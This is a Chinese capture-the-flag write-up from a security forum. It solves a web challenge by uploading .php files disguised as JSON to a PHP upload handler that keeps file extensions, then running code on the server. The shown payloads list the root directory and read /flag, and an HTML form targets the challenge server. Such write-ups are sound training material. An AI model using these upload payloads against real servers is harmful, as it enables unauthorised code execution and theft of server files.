2020KCTF 第八题 牛刀小试 wp
2020-05-01 22:19:20 Author: bbs.pediy.com(查看原文) 阅读量:316 收藏

[原创] 2020KCTF 第八题 牛刀小试 wp

1天前 46

[原创] 2020KCTF 第八题 牛刀小试 wp

首先打开 http://47.102.223.17:2333/ ,发现给出了源代码。

<?php 
if (isset($_FILES["file"]["tmp_name"])) { 
    $file = fopen($_FILES["file"]["tmp_name"], "r"); 
    $data = fread($file, filesize($_FILES["file"]["tmp_name"])); 
    $arr = json_decode($data, true, 2); 
    if (json_last_error() != JSON_ERROR_NONE) { 
        die("JsonErr"); 
    } 
    if (count($arr) != 1) { 
        die("DataErr"); 
    } 
    $data = $arr['data']; 
    $len = strlen($data); 
    if ($len > 56) { 
        die("Long"); 
    } 
    if (preg_match("/[\[\]`'^=\/\\$.;]+/", $data)) { 
        die("no"); 
    } 
    $name = mt_rand(); 
    $ext = strrchr($_FILES['file']['name'], '.'); 
    $ext = trim($ext); 
    move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $name . $ext); 
    echo "upload/" . $name . $ext; 
} else { 
    highlight_file(__FILE__); 
} 
?>

这段程序首先读取浏览器上传的文件,这个文件必须是有效的JSON文件,并且对象长度必须是1。接下来校验$arr['data']的长度必须小于等于56,且不能含有一系列特殊符号。针对这个检查,只要让我们的JSON根本不包含data这个key就直接绕过了。最后上传的文件被储存时保留了后缀,所以我们用.php后缀,就能达到代码执行的目的。

本地用来上传文件的up.html:

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8">
        <title>Uploader</title>
    </head>
    <body>
        <form enctype="multipart/form-data" action="http://47.102.223.17:2333/" method="POST">
            <input type="file" name="file">
            <button type="submit">Send</button>
        </form>
    </body>
</html>

根据提示flag在根目录,所以第一次上传的文件data.php:

{
    "hello": "<?php echo implode(' ', glob('/*')); ?>"
}

服务器返回:upload/1179490546.php。
访问这个php,得到根目录文件列表:
列目录
显然/flag就是flag。第二次上传的文件r.php:

{
    "hello": "<?php echo file_get_contents('/flag'); ?>"
}

返回:upload/772416736.php
访问这个php,得到flag:
flag

[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!

最后于 1天前 被3352编辑 ,原因:


文章来源: https://bbs.pediy.com/thread-259248.htm
如有侵权请联系:admin#unsafe.sh